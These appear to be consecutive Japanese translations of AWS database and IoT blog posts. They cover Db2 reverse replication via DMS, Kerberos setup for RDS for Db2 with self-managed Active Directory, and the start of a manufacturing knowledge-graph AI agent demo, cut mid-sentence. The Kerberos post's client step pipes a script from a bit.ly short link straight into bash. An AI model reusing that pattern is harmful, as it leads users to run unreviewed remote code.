ターゲットに対して完全な大規模オブジェクト (LOB) モードをサポートしません。代わりに制限付き LOB モードを使用します。 DMS は Db2 LUW ソースの Boolean データ型をサポートしません。 DMS はレプリケーション中に DECFLOAT 列の変更を無視します。 DMS は一部の DDL 操作(パーティション表の ALTER、RENAME COLUMN)をレプリケーションしません。これらはターゲットで手動で適用します。 多次元クラスタリング (MDC) 表の更新は、INSERT と DELETE のペアとして現れます。 DMS はシーケンス値をレプリケーションしません。フェイルバック前に手動で同期します。 CDC は Db2 の LOAD ユーティリティによるページレベルのロードをキャプチャしません。代わりに IMPORT を使用します。 コストに関する考慮事項 リバースレプリケーションの構成を計画する際は、次のコスト要因を考慮してください。 DMS レプリケーションインスタンスの稼働時間(インスタンスクラスに基づく)。 AWS Direct Connect 経由のデータ転送。 アベイラビリティーゾーンごと、1 時間あたりの VPC エンドポイント料金。 Amazon CloudWatch のメトリクスとアラーム。 AWS Secrets Manager のシークレットストレージと API 呼び出し。 最新の料金については、 DMS pricing page 、 AWS Direct Connect pricing ページ、 AWS PrivateLink pricing ページを参照してください。これは一時的な移行の安全策であるため、検証期間の終了後にレプリケーション基盤を廃止することでコストを最小限に抑えられます。 ベストプラクティス 本番のカットオーバー前に、非本番環境でフェイルバック手順全体をドライランし、各ステップを検証します。 データベースの認証情報は、自動ローテーションを有効にした AWS Secrets Manager に保存します。これにより、ハードコードされたパスワードをなくし、セキュリティ体制を強化できます。 CDCLatencySource と CDCLatencyTarget メトリクスに Amazon CloudWatch アラームを設定し、レプリケーションの遅延が許容できるしきい値を超えたときに通知を受け取れるようにします。 アーカイブログの保持期間は 24 時間以上を維持します。DMS が読み取る前に必要なログが削除されると、タスクは失敗し、新しい位置から再開する必要があります。 レプリケーションが 48〜72 時間安定したら、DMS のログ詳細度を DETAILED_DEBUG から DEFAULT に下げ、Amazon CloudWatch Logs のコストを削減します。 サイジングの目安として、 c6i.xlarge インスタンスは 1 秒あたり 1,000 トランザクション (TPS) 未満を処理できます。ワークロードがこれを超える場合は、 c6i.2xlarge にスケールアップします。 ソースとターゲットのデータベース間で、独立した行数とチェックサムの比較による週次のデータ検証をスケジュールします。 まとめ 本記事では、プライベートのみのネットワーク上で AWS DMS を使い、Amazon RDS for Db2 からオンプレミスの AIX Db2 インスタンスへ CDC のみのリバースレプリケーションを構成する方法を説明しました。VPC インターフェイスエンドポイントをセットアップし、ソースとターゲットの Db2 エンドポイントを構成し、CDC のみのレプリケーションタスクを作成して、AWS Direct Connect 経由のデータフローを検証しました。この一時的なフェイルバック経路により、移行カットオーバー期間中の厳しい RTO および RPO 要件を満たしやすくなります。移行が安定した後は、リバースレプリケーションを廃止し、AWS 上の恒久的なアーキテクチャへ移行します。 著者について Ashish Srivastava Amazon Web Services のプロフェッショナルサービスチームに所属する Delivery Consultant – Data & Analytics です。データベース移行のスペシャリストとして、Db2 や SQL Server などのエンタープライズデータベースの経験を持ち、オンプレミスデータベースの AWS への移行を技術的に支援しています。 Ivan Schuster AWS の Senior Database Specialty Architect です。テクノロジー業界で 20 年以上の経験を持ち、その大半をデータベースに携わってきました。プロフェッショナルサービスコンサルタントとして、数多くのお客様のワークロードの AWS クラウドへの移行を支援してきました。 この記事は Solutions Architect の 矢木 覚 が翻訳しました。

本記事は 2026 年 6 月 30 日 に公開された「 Enable self-managed AD Kerberos authentication with Amazon RDS for Db2 」を翻訳したものです。 Amazon Relational Database Service (Amazon RDS) for Db2 は、AWS、オンプレミス、他のクラウドのいずれで稼働している場合でも、お客様自身の Active Directory ドメインを利用した Kerberos 認証をサポートしています。Amazon RDS for Db2 をお客様が管理する Microsoft Active Directory に直接接続することで、データベースユーザーの認証を一元化し、シングルサインオンを実現できます。この構成の要となるのは、正確に絞り込んだ一連の AD 権限を専用のサービスアカウントに委任し、その認証情報を RDS へ安全に受け渡すことです。 本記事では、Amazon RDS for Db2 向けに Windows Active Directory を Kerberos 認証で構成する方法と、ドメイン参加済みのクライアントから構成を検証する方法を紹介します。 aws-samples/sample-rds-db2-tools リポジトリで公開されている一連の手順を、最初から最後まで順を追って説明します。 専用の OU とサービスアカウントを作成する。 Amazon RDS for Db2 が AD と連携するために必要な AD 権限を委任する。 認証情報を AWS Key Management Service (AWS KMS) で暗号化したシークレットとして AWS Secrets Manager に保存する。 生の GUID を人間が読める権限名に変換する PowerShell スクリプトで構成を検証する。 続いて、ドメイン参加済みの Db2 クライアントから構成を検証する方法を紹介します。 EC2 インスタンスを起動する。 インスタンスをドメインに参加させる。 Db2 Runtime Client をインストールする。 Kerberos チケットで接続する (パスワード不要)。 さらに、多くの人がつまずく分かりにくいステップも 1 つ取り上げます。User オブジェクトに対して servicePrincipalName の読み取り/書き込み権限を付与するには、標準の Active Directory ユーザーとコンピューター スナップインではなく、ADSI エディター ( adsiedit.msc ) が必要です。 ソリューションの概要 次の図は、お客様が管理する Active Directory に対して Amazon RDS for Db2 を認証する際のアーキテクチャを示しています。 この設計では、RDS for Db2 がお客様のセルフマネージド AD ドメインに直接参加します。専用の AD サービスアカウントのユーザー ID とパスワードは AWS Secrets Manager に保存され、AWS KMS キーで暗号化されます。ドメイン参加の際、RDS はこれらの認証情報を Secrets Manager から取得し、ディレクトリにインスタンスを登録します。ドメイン参加済みの Db2 クライアントは AD の KDC から Kerberos チケット (TGT) を取得し、そのチケットを使ってパスワードのやり取りなしに RDS for Db2 へ接続します。RDS、クライアント、ドメインコントローラー間の通信は、標準的な AD のポート、すなわち DNS (53)、Kerberos (88、464)、LDAP (389、3268)、RPC 動的範囲 (49152〜65535) を利用します。 構築するもの RDS for Db2 用に範囲を絞った専用の OU と AD サービスアカウント、および RDS for Db2 が必要とする権限を委任した ACL。 認証情報を RDS へ安全に受け渡すための AWS KMS キーと Secrets Manager シークレット。 セルフマネージド AD 変数を設定した Amazon RDS for Db2 インスタンス。 AL2023 の EC2 ドメイン参加済みクライアントを使ってテスト済みの接続。 1. AD 権限を委任する 専用の OU とサービスアカウントを作成し、[制御の委任] ウィザードと ADSI エディターを使って必要なアクセス制御エントリ (ACE) を付与します。 OU 内で User オブジェクトと Computer オブジェクトを作成/削除する。 子孫の User オブジェクトに対して、パスワードのリセットと msDS-SupportedEncryptionTypes の読み取り/書き込みを行う ([制御の委任] ウィザードを使用)。 子孫の User オブジェクトに対して servicePrincipalName の読み取り/書き込みを行う — ADSI エディターを使用 ( adsiedit.msc )。 あるいは、提供されている PowerShell スクリプト を実行すれば、9 つの ACE すべてを冪等な 1 回の処理で適用できます。 .\Grant-ADDomainJoinPrivileges.ps1 ` -ServiceAccount "CORP\rdsdb2svc" ` -TargetOU "OU=RDSDb2,DC=company,DC=com" ` -Verbose 同梱の、人間が読める形式で表示する ACL ビューアー スクリプトで検証します。 .\Show-OUDelegation.ps1 -OU "OU=RDSDb2,DC=company,DC=com" -SamAccountName rdsdb2svc ServiceAccount 名はお好みの名前に置き換えるか、 rdsdb2svc のままにします。 TargetOU では、OU 名をお好みの名前に変更するか RDSDb2 のままにできますが、DC 名は必ずお使いの AD のドメイン名に合わせて変更してください。例: "OU=RDSDb2,DC=corp,DC=mycompany,DC=com" 。 リポジトリでは、この委任について 2 つの同等な方法を説明しています。ADUC の [制御の委任] ウィザードと ADSI エディターを使う UI での手順と、上記の PowerShell スクリプトです。どちらも同じ ACL を生成するため、運用モデルに合った方を選んでください。始める前に、 リポジトリの README を読んで一連の手順の全体像を把握してから、委任そのものについては詳細な UI での手順 (または PowerShell ガイド ) に従ってください。 リポジトリの詳細な手順: README-UI.md 2. KMS キーと Secrets Manager シークレットを作成する 対称 KMS キーを作成し、サービスアカウントの認証情報を Secrets Manager シークレットとして保存します。このとき、RDS が読み取れるようにするリソースポリシーを設定します。 aws kms create-key --key-usage ENCRYPT_DECRYPT --key-spec SYMMETRIC_DEFAULT ... aws secretsmanager create-secret --name "rds-db2-self-managed-ad-secret" ... リポジトリの詳細な手順: README-KMS-Secret.md 3. サービスアカウントの認証情報を AWS Secrets Manager に保存する AD サービスアカウントのユーザー名 ( sAMAccountName のみで、 DOMAIN\ プレフィックスは付けない) とパスワードを、前のステップで作成した KMS キーで暗号化した Secrets Manager シークレットとして保存し、RDS が読み取れるようにするリソースポリシーをアタッチします。RDS for Db2 は、ドメイン参加の際にこのシークレットを取得します。 aws secretsmanager create-secret --name "rds-db2-self-managed-ad-secret" ... UI と CLI の詳しい手順はリポジトリにあります: README-KMS-Secret.md 4. RDS for Db2 インスタンスを構成する DB インスタンスを変更または作成し、[ディレクトリ] セクションでシークレットの ARN を指定します。CLI の場合は次のとおりです。 aws rds modify-db-instance \ --db-instance-identifier your-db-instance \ --domain-fqdn "company.com" \ --domain-ou "OU=RDSDb2,DC=company,DC=com" \ --domain-auth-secret-arn "arn:aws:secretsmanager:..." \ --domain-dns-ips "<dc-ip-1>" "<dc-ip-2>" \ ... リポジトリの詳細な手順: README-RDS-Db2.md 5. ドメイン参加済みの Db2 クライアントから接続をテストする 同じ VPC 内で Amazon Linux 2023 の EC2 インスタンスを起動し、AD ドメインに参加させて、Db2 Runtime Client をインストールします。 ステップ 1 – AD に参加する realmd 、 sssd 、 adcli 、 krb5-workstation をインストールします。 curl -sL https://bit.ly/domainjoin | bash source joindomain.sh ステップ 2 – Db2 RT クライアント をインストールする REGION=<region> ./db2-driver.sh ステップ 3 – DSN エントリを構成する ドメイン参加を自動検出し、ローカル認証用と Kerberos 用の両方の DSN を書き込みます。 sudo su - db2inst1 REGION=<region> source db2client-configure.sh ステップ 4 – 接続する kinit user@COMPANY.COM db2 terminate db2 "connect to RDSAKS" # Kerberos, no password db2 "connect to RDSAS user admin using '$MASTER_USER_PASSWORD'" # local auth リポジトリの詳細な手順: README-Db2-Client.md 重要なポイント User オブジェクトの SPN には ADUC ではなく ADSI エディターを使う。 ADUC スナップインは、User オブジェクトの属性一覧から servicePrincipalName を除外して表示します。ADSI エディターはスキーマ全体を表示します。ここが最もよくあるつまずきポイントです。 スコープが重要。 User オブジェクトではなく Computer オブジェクトに SPN の読み取り/書き込みを付与すると、一見正しく見えても実行時に失敗する ACL になります。Amazon RDS for Db2 は、自身が作成する User オブジェクトの権限をチェックするのであって、Computer オブジェクトではありません。 UI ではなく PowerShell で検証する。 ADUC の [セキュリティ] タブは、属性レベルの ACE を空白の行にまとめて表示してしまいます。提供されている Show-OUDelegation.ps1 スクリプトは、GUID を名前に解決して ACL を読みやすくします。 Secrets Manager でのユーザー名の形式。 シークレットには sAMAccountName のみを含める必要があり、 DOMAIN\ プレフィックスは付けません。ドメインプレフィックスを含めると、インスタンスの作成に失敗します。 ネットワーク AD と RDS の間には、複数のネットワーク構成が考えられます。次の 3 つのネットワークトポロジーについては、この ガイド を参照してください。 AD と RDS が同じ VPC 内にある構成。 AD を Microsoft Azure でホストする構成 (VPN または AWS Direct Connect + ExpressRoute)。 AD が別の VPC または AWS アカウントにある構成 (VPC ピアリングまたは AWS Transit Gateway)。 主要なポートは DNS (53)、Kerberos (88、464)、LDAP (389、3268)、RPC 動的ポート (49152〜65535) です。RPC の範囲を開け忘れることが、最初のドメイン参加が成功した後に断続的な障害が起きる最もよくある原因です。 クリーンアップ 継続的な課金を避け、この手順で Active Directory に作成したプリンシパルを削除するには、作成した順序とは逆の順序でリソースを削除します。 EC2 の Db2 クライアントを終了する — ドメインから離脱し (realm leave)、自身のコンピューターオブジェクトを削除してから、インスタンスを終了し、専用の IAM インスタンスプロファイル/ロールがあれば削除します。 RDS for Db2 からセルフマネージド AD を削除する — インスタンスを残す場合は aws rds modify-db-instance --disable-domain でドメインをデタッチして (再起動)、不要になった場合は aws rds delete-db-instance でインスタンスを削除します。 サービスアカウントの認証情報を保持している Secrets Manager シークレットを削除する 。 KMS キーの削除をスケジュールし 、そのエイリアスを削除します。いずれかのインスタンスがストレージ暗号化にそのキーをまだ使用している間はキーを削除しないでください。削除するとスナップショットが復元不能になります。 AD オブジェクトを削除する — サービスアカウントと専用の OU を削除します (RDS がドメイン参加時に作成した Computer/User オブジェクトをすべて消去するため、再帰的に削除します)。OU は残して委任した権限だけを外したい場合は、OU の ACL をリセットします。 これらそれぞれについて、コンソールと CLI のオプションや検証チェックを含む手順ごとのコマンドは、GitHub リポジトリの クリーンアップガイド にあります。 まとめ 本記事では、セルフマネージド Active Directory を使って Amazon RDS for Db2 の Kerberos 認証を有効にする方法を紹介しました。9 つの AD 権限を正確に専用のサービスアカウントに委任し、その認証情報を KMS で暗号化した Secrets Manager シークレットとして RDS へ安全に受け渡し、DB インスタンスをドメインに参加させ、ドメイン参加済みの Db2 クライアントから Kerberos チケットを使ってパスワードなしで接続することで、結果を最初から最後まで検証しました。その過程で、多くの人がつまずきやすいステップも取り上げました。すなわち、 servicePrincipalName の ACE には ADSI エディターを使うこと、権限を User オブジェクトに絞ること、そして RPC の動的ポート範囲を開けることです。 本記事全体で参照した PowerShell スクリプト、CLI コマンド、検証ツールは、 aws-samples/sample-rds-db2-tools GitHub リポジトリで入手できます。リポジトリをクローンし、変数をお使いのドメインに合わせて調整すれば、RDS for Db2 ワークロード向けに一元化されたシングルサインオン認証をすぐに稼働させられます。詳細については、Amazon RDS ユーザーガイドの Kerberos authentication for Amazon RDS for Db2 を参照してください。ご質問やご提案があれば、コメントをお寄せください。 著者について Vikram S Khatri Vikram は、 Vikram は Amazon RDS for Db2 のシニアエンジニアです。プロダクトマネジメント、経験豊富なアーキテクト、リーダーシップ、AI エキスパートユーザーなど、複数の役割を担っています。20 年以上の経験を持ち、ゼロから新しい製品を生み出すことに情熱を注いでいます。 Sindhu Simhadri Sindhu は、 Sindhu は Amazon RDS for Db2 のソフトウェア開発エンジニアです。10 年以上のソフトウェア開発経験を持っています。 Yiwen Shen Yiwen は、 Yiwen は Amazon RDS for Db2 のソフトウェア開発エンジニアです。5 年以上のソフトウェア開発経験を持っています。 この記事はSolutions Architect の 矢木 覚が翻訳しました。

はじめに こんにちは、IoT Specialist ソリューションアーキテクトの新澤です。2026 年 6 月 25〜26 日に幕張メッセで開催された AWS Summit Japan 2026 の「生産ラインの未来」ブースでは、AI エージェントが生産ラインのボトルネックを検知し改善策を提案するデモを展示しました。 開催前の予告ブログ ではデモの概要をご紹介しましたが、本記事では展示を終えた今、その実装の詳細を解説します。 このデモのテーマは、「AI エージェントに工場の「構造」をどう教えるか」です。どの製品にどの部品が必要で、どの設備で加工し、どのサプライヤーから調達しているか。こうした関係性が構造化されていなければ、AI は参照すべきデータソースを判断できず、回答が不安定になったり、必要なデータに到達するまでの試行錯誤が増えたりします。本デモではこの関係性をスキーマとして定義し、ナレッジグラフとして実装しました。一方、スキーマだけでは「今」が分かりません。設備のサイクルタイムは今何秒か、現状の設備で増産対応が可能なのか。ここに IoT のリアルタイムデータを接続することで、AI エージェントは構造を知った上で現状を踏まえた判断を行えるようになります。まず、なぜ製造業にナレッジグラフが必要なのかという課題から出発し、グラフスキーマの設計、データストアの役割分担、AI エージェントの推論フロー、全体アーキテクチャの順に解説します。 なお本記事では、製品・部品・設備・サプライヤーといった要素間の関係性をグラフ構造で表現したものを「ナレッジグラフ」と呼ぶこととします。これは OWL や記述論理に基づくいわゆるオントロジー (TBox/ABox による概念公理や自動推論)とは異なり、AI エージェントが「どのデータをどう辿るか」を判断するためのセマンティックなコンテキスト情報として活用することを目的としています。また、本記事で「推論」と呼ぶのは、記述論理（OWL など）による論理推論ではなく、AI エージェント（LLM）がナレッジグラフを文脈として複数のデータソースを横断し、回答を組み立てる処理を指します。 デモ画面:生産ラインのナレッジグラフマップ なぜ製造業にナレッジグラフが必要か 突然の増産指示「来月末までに 300 台追加で出荷できるか?」この問いに答えるには、オーダー → 製品 → 部品 → 在庫 → サプライヤー → 設備稼働と、異なるシステムに散在するデータを横断的に辿らなければなりません。難しいのは個々のデータを取ることではなく、それらのデータ間の依存関係を何段も辿り切らなければならない点にあります。さらに各データは多対多の関係を持ちます。1 つの製品は複数の部品を必要とし、1 つの部品は複数のサプライヤーから調達可能で、1 台の設備は複数の製品の工程に関与します。増産対応に限らず、このような「多段の関係性探索」は製造現場で繰り返し発生します。 特に顕著なのが BOM (部品表) の探索です。BOM はツリー構造で、増産の実現性判断では BOM を順方向に展開して必要部品を洗い出す必要があります。一方、品質問題のトレーサビリティでは逆方向に辿って「この素材を使っている全製品は」を特定します。設計変更の影響確認でも同様です。しかも構成が何階層あるかは製品ごとに異なるため、探索の深さを事前に固定できません。本デモでは以下の 3 階層の BOM を定義しました (来場者の方から「うちは 100 階層を超える」という声もいただきました) 。 SD1 圧力センサーモジュール (完成品) ├── センサーユニット (サブアセンブリ) │ ├── セラミック圧力センサー素子 │ └── 配線ハーネス ├── 駆動ユニット (サブアセンブリ) │ ├── ブラシレスモーター ×4 │ └── モータードライバ IC └── フライトコントローラー 「300 台増産できるか」の判断には、部品ツリーを最下層まで展開し、在庫・リードタイム・設備の稼働状況を確認する必要があります。RDB では構成表テーブルを何段階も繰り返し結合して検索するため、部品が増えるほど処理が重くなります。一方、ナレッジグラフなら階層の深さに関わらず 1 行のクエリで記述でき、順方向・逆方向の検索もまったく同じ構文で対応できます。 // 順方向: 増産に必要な全部品を展開 g.V('PROD-SD1').repeat(out('REQUIRES')).emit().valueMap('name') // 逆方向: 不良素材の影響を受ける全製品を特定 g.V('PART-CERAMIC-001').repeat(in('REQUIRES')).emit().valueMap('name') ナレッジグラフの利点は、探索の書きやすさだけではありません。ユーザーにとって直接的なメリットが 2 つあります。 1 つはコストです。グラフ探索は問いに関係するサブグラフだけを返すため、テーブルや文書を丸ごと LLM のコンテキストに渡す必要がなく、消費トークンを抑えられます。またグラフが「次にどこを見るべきか」を示すため、エージェントが無関係なデータソースを探索して往復する無駄も生じません。もう 1 つは回答の信頼性です。エージェントは LLM の記憶ではなく、グラフに格納された検証済みの関係を根拠に回答を組み立てます。ナレッジグラフによる知識の裏付けがハルシネーションの抑制に有効と考えられます。 ここからは、これらの利点を実際のデモでどう形にしたかを解説します。 グラフスキーマの設計 まずは、AI エージェントに接続したデータソースと、その関係性を定義したグラフスキーマの設計から解説します。 デモで用意したデータソース AI エージェントが増産の実現性を判断するために、以下のデータソースを用意しました。 生産オーダー (Amazon DynamoDB) : どの製品をいつまでに何個作るかを管理します。本デモでは「SD1 圧力センサーモジュール 300 台、納期 7/10」のオーダーを投入しています。 BOM — 部品表 (Amazon Neptune ナレッジグラフ) : 製品に必要な部品の構成を定義します。前セクションで示した 3 階層のツリー(完成品 → サブアセンブリ → 部品)が REQUIRES エッジとして格納されています。 在庫 (Amazon DynamoDB) : 各部品の現在の在庫数量と安全在庫を保持します。例 : セラミック素子 10,000 個、ブラシレスモーター 30,000 個。 サプライヤー (Amazon Neptune ナレッジグラフ + Amazon DynamoDB) : 部品と調達先の対応関係は SUPPLIED_BY エッジとしてグラフに、リードタイムや最小発注数量などの値は Amazon DynamoDB に持たせています。例: セラミック素子は LT 14 日、ブラシレスモーターは LT 21 日。 設備稼働データ (AWS IoT SiteWise) : 各ステーション(受入検査、搬送、自動倉庫、加工、組立、出荷)のリアルタイムなサイクルタイムと稼働率を 1 分間隔で収集しています。Amazon Neptune の Equipment ノード ID と AWS IoT SiteWise のアセット ID を共通化しているため、グラフ探索で特定した設備の最新値を、ID 変換なしにそのまま取得できます。 工程設計書・FMEA (Amazon Bedrock Knowledge Bases) : 各工程の加工条件や運転手順を記述した工程設計書(Word ファイル)、FMEA(Excel ファイル)、PLC コーディング規約(Word ファイル)などのドキュメントを RAG 検索可能にしています。 グラフスキーマの全体像 本デモでは「増産オーダーの実現性診断」を頻出ユースケースとして特定し、そのグラフ探索パス (オーダー → 製品 → 部品 → 設備) を専用ツールとして事前実装しました。ユースケースに登場するエンティティをノード、関係をエッジとして Amazon Neptune に格納し、鮮度の高いデータ (サイクルタイム、在庫数量等) は IoT サービス群や Amazon DynamoDB に分離しています。静的な構造と動的な値を分けることで、レスポンス速度と回答精度を安定させることを目指しました。 しかし、現場では設備起点の問いも発生します。デモでは「オーダー起点で、影響する設備を探しに行く」パスを実装しましたが、現場ではその逆方向、設備で異常が起きたときに「何に影響するか」を知りたい場面が日常的に発生します。「焼成炉の温度が基準を超えた。この設備が停止したら、どの製品の出荷が遅れるか?」、「切削精度の劣化が検出された。同じユニットを使う他ラインの品質にも影響するか?」。これらはグラフ上の同じデータ構造を起点を変えて辿るだけなので簡単な話ですが、事前に定義した固定的な探索パスだけではカバーできません。なので実運用では頻出パターンは専用ツール (固定探索) で高速かつ安定した回答を返し、それ以外の問いには汎用グラフ探索 (LLM がノードの隣接関係を見て自律的に辿る方式) をフォールバックとして組み合わせるハイブリッド構成が現実的ではないかと考えています。 以下は、今回作成したグラフの全体像です。 本デモで定義したグラフスキーマ 本デモでは、グラフの実装基盤として Amazon Neptune を採用しました。Amazon Neptune 上に以下の 8 種類のノードと 10 種類のエッジを定義しました。以下は本ナレッジグラフのスキーマ (型定義) であり、実際の工場データ (インスタンス) はこの型に沿って格納されます。 ノードタイプ (8 種類) No. ノード 説明 例 1 Company 企業 AnyCompany 2 Factory 工場 Plant 02 横浜 3 Equipment 設備・ライン Production Line, Warehouse Station 4 SubUnit 設備内サブユニット Furnace Unit, Milling Machine 5 Product 製品 AnyCompany-SD1 6 Part 部品 セラミック圧力センサー素子 7 Supplier サプライヤー セラミック素材社 8 ProductionOrder 生産オーダー ORDER-2026-06-001 エッジタイプ (10 種類) No. エッジ 関係性 意味 1 CONTAINS Company → Factory 企業が工場を所有 2 HAS_EQUIPMENT Factory → Equipment 工場が設備を保有 3 HAS_SUBUNIT Equipment → SubUnit 設備がサブユニットを持つ 4 REQUIRES Product → Part 製品が部品を必要とする(BOM) 5 SUPPLIED_BY Part → Supplier 部品の調達先 6 STORED_AT Part → Equipment 部品の保管場所 7 PROCESSED_AT Part → Equipment 部品の加工場所 8 ASSEMBLED_AT Part → Equipment 部品の組立場所 9 PRODUCES ProductionOrder → Product オーダーの生産対象 10 EXECUTED_ON ProductionOrder → Equipment オーダーの実行設備 ISA-95 との対応 本デモのグラフモデルは、製造業の国際標準である ISA-95 の設備階層モデルと以下のように対応しています。 No. ISA-95 レベル 本デモのノード 説明 1 Level 4 — Enterprise Company ビジネス計画、オーダー管理 2 Level 4 — Site/Plant Factory 工場単位の生産管理 3 Level 2〜3 — Area/Work Cell Equipment 製造実行・各ステーション制御 4 Level 0〜1 — Control Module SubUnit 個別機器の制御 5 (サプライチェーン) Supplier, Part, Product, ProductionOrder ISA-95 外のビジネスエンティティ 本デモでは簡略化を目的として ISA-95 の Level 2〜3 を Equipment ノードに統合しています。実規模の適用時には、Work Center / Production Line / Work Unit を分離し、より詳細な階層を定義することも可能です。 ここまでで、グラフに格納する「構造」の設計を解説しました。一方、「グラフの全体像」で触れたとおり、鮮度の高いデータはグラフの外に置いています。次のセクションでは、この静的な構造と動的な値の分離を、データストアの役割分担として具体化します。 データストアの役割分担 本デモでは、データの特性に応じて 4 つのデータストアを使い分けています。 No. データストア 格納するもの 更新頻度 1 Amazon Neptune 静的な関係性 (BOM、設備構成、サプライヤー依存) 構造変更時のみ 2 AWS IoT サービス群 各設備のリアルタイム稼働データ (サイクルタイム、稼働率) 1 分間隔 3 Amazon DynamoDB 業務マスタデータ (生産オーダー、在庫、BOP) 日次〜週次 4 Amazon Bedrock Knowledge Bases 非構造化ドキュメント (工程設計書、FMEA、PLC コーディング規約) ドキュメント改訂時 データの置き場所が定まったところで、次は AI エージェントがこれらのデータソースをどのような順序で参照し、回答を組み立てるのかを、実際の問い合わせを例に見ていきます。 AI エージェントの推論フロー 「300 台増産は間に合う?」への回答プロセス AI エージェント (Amazon Bedrock AgentCore 上で動作) がユーザーからの問いに答えるプロセスを見てみます。ユーザーが「ORDER-2026-06-001 の増産 300 台は実現可能ですか?」とプロンプトウインドウに入力します。このとき、エージェントは以下の 5 つのステップを実行します。 Step 1 — ナレッジグラフ探索 (Amazon Neptune) オーダーを起点に、ノードタイプごとに異なる情報を収集しながら関係性を辿ります。 ProductionOrder (ORDER-2026-06-001) │ → 数量: 300台、納期: 7/10 │ ├─PRODUCES→ Product (AnyCompany-SD1) │ │ │ ├─REQUIRES→ Part (セラミック素子) │ │ ├─SUPPLIED_BY→ Supplier (セラミック素材社, LT:14日) │ │ ├─STORED_AT→ Equipment (Warehouse Station) │ │ └─PROCESSED_AT→ Equipment (Production Line) │ │ │ ├─REQUIRES→ Part (ブラシレスモーター) │ │ ├─SUPPLIED_BY→ Supplier (モーター工業, LT:21日) │ │ └─ASSEMBLED_AT→ Equipment (Assembly Line) │ │ │ └─REQUIRES→ Part (フライトコントローラー) │ ├─SUPPLIED_BY→ Supplier (エレクトロニクス社, LT:30日) │ └─ASSEMBLED_AT→ Equipment (Assembly Line) │ └─EXECUTED_ON→ Equipment (Production Line, Assembly Line) 1 回の探索で以下が判明します: 部品 3 種 とそれぞれの所要数・リードタイム サプライヤー 3 社 と最小発注数量 関連設備 3 台 の ID(= AWS IoT SiteWise アセット ID) 各ノードに到達するたびに、次のステップで必要な情報 (ID、属性値) が揃います。Part ノードからは在庫確認 (Step 3) に進み、Equipment ノードからはリアルタイムデータ取得 (Step 2) に進みます。グラフが「次にどのデータソースを見るべきか」を教えてくれる構造です。 Step 2 — リアルタイムデータ取得 (AWS IoT SiteWise) Step 1 で特定した設備の ID (= AWS IoT SiteWise アセット ID) を使い、各設備の現在のサイクルタイムと稼働率を取得します。Amazon Neptune のノード ID と AWS IoT SiteWise のアセット ID に同じ UUID を使用しているので、Amazon Neptune のグラフ探索で特定した設備のノード ID を、そのまま AWS IoT SiteWise の API パラメータとして渡しています。別途マッピングテーブルを参照する必要がなく、グラフの探索結果が即座にリアルタイムデータの取得キーになります。関係性は頻繁には変わりませんがサイクルタイムは 1 分ごとに変わり、在庫数量は日々変動します。こうした鮮度の高いデータはそれぞれに適したデータストアに置き、必要なときに ID をキーにして参照するようにしています。 AWS IoT SiteWise 側のアセット階層: AnyCompany (企業) └── Plant 02 横浜工場 └── Line A ├── DSI (受入検査) assetId: d0754657-... ├── VGR (搬送ロボット) assetId: 787a70d9-... ├── HBW (自動倉庫) assetId: 58f6c640-... ├── MPO (加工機) assetId: 2b326756-... ├── FA (最終組立) assetId: 2c26ccc0-... └── DSO (出荷) assetId: d38bb203-... 各アセットは avg_mct (平均サイクルタイム) と Availability_Pct (稼働率) のプロパティを持ち、1 分間隔で更新されます。Step 1 で特定した設備の ID で問い合わせた結果、HBW のサイクルタイムが目標値 (60秒) の 3 倍に達していることが判明します。 Step 3 — 在庫照合 (Amazon DynamoDB) Step 1 で特定した部品の ID を使い、Amazon DynamoDB の在庫テーブルから現在の数量を取得します。BOM の所要数 (×300 台) と比較した結果、在庫は充足していると判断されます。 No. 部品ID 部品名 在庫 所要数 (×300台) 判定 1 PART-CERAMIC-001 セラミック圧力センサー素子 10,000 300 ✓ 十分 2 PART-MOTOR-001 ブラシレスモーター 30,000 1,200 ✓ 十分 3 PART-FC-001 フライトコントローラー 10,000 300 ✓ 十分 Step 4 — 統合判定 Step 2 (設備) と Step 3 (在庫) の結果を突き合わせ、生産能力を評価します。 ボトルネック: VGR + HBW (実測 CT 254.2 秒。タクトタイム 60 秒の約 4.2 倍、稼働率 35%) 在庫リスク: なし (全部品十分) 問題の所在: 部品は足りているが、HBW の処理能力がライン全体のスループットを制約している Step 5 — 自然言語で報告 エージェントが上記を統合し、以下のように自然言語で回答します。 思考過程 ・ユーザーは「ORDER-2026-06-001 の増産 300 台は実現可能ですか?」と聞いています。これは増産指示の実現性診断を求める質問です。 ・生産オーダー情報を取得します。製品名、数量、納期、ステータスを返します。 ・get_production_order 完了 (0.2s) ・Neptune ナレッジグラフを探索して、指定オーダーの影響範囲とボトルネックを検出します。オーダーから製品→部品→設備→サプライヤーの関係性を辿り、在庫不足やサイクルタイム超過を自動検出します。 ・neptune_impact 完了 (0.3s) ・Production Line のリアルタイム稼働データを一括取得 ・get_production_line_metrics 完了 (3.5s) ・部品の在庫情報を取得します。在庫数、安全在庫、リードタイム、サプライヤーを返します。 ・get_inventory 完了 (0.1s) 回答 ■ 影響範囲 (サプライチェーン探索結果) ・対象オーダー: ORDER-2026-06-001(AnyCompany-SD1 ドローン用圧力センサーモジュール 300台、納期 2026-06-13) ・製品: AnyCompany-SD1 ドローン用圧力センサーモジュール ・生産工場: 横浜工場 ・既存バックログ: 200台(合計処理必要数: 500台) ・必要部品と数量: セラミック圧力センサー素子×300、ブラシレスモーター×1,200、フライトコントローラー×300 ■ ボトルネック検出(リアルタイムデータ) ・VGR+HBW(搬送＋自動倉庫): CT 254.2秒(タクト60秒を194.2秒超過、424%)、稼働率 35.0% ・ライン実効CT: 254.2秒/個(ボトルネック律速) ・日産能力: 39台/日 ・5日間生産可能数: 195台 → 横浜工場ダッシュボードで確認 ■ 在庫状況 ・全部品充足(セラミック圧力センサー素子 10,000個、ブラシレスモーター 30,000個、フライトコントローラー 10,000個) ■ 実現性判定 ・間に合いません:5日間で195台しか生産できず、300台に105台不足 ・既存バックログ200台を含めると合計500台必要。達成には13日(約2週間)必要 ・ボトルネックの搬送＋自動倉庫工程(VGR+HBW)がタクトの4.2倍、稼働率も35%と低い 改善策を提案しますか? 参照データソース ・DynamoDB: 生産オーダーテーブル(ORDER-2026-06-001) ・Neptune: ナレッジグラフ(オーダー→製品→部品の関連) ・IoT SiteWise: 横浜工場 Production Line のリアルタイムデータ(サイクルタイム、稼働率) ・DynamoDB: 在庫テーブル(部品在庫状況) (グラフ上で6ノードをハイライト中) なお、この後に続く改善策の提案 — 工程設計書や FMEA を根拠とした運転方法の変更案、PLC プログラムの修正案の生成 — も本デモの見どころですが、紙幅の都合により本記事では割愛します。 全体アーキテクチャ ここまで、ナレッジグラフの設計と AI 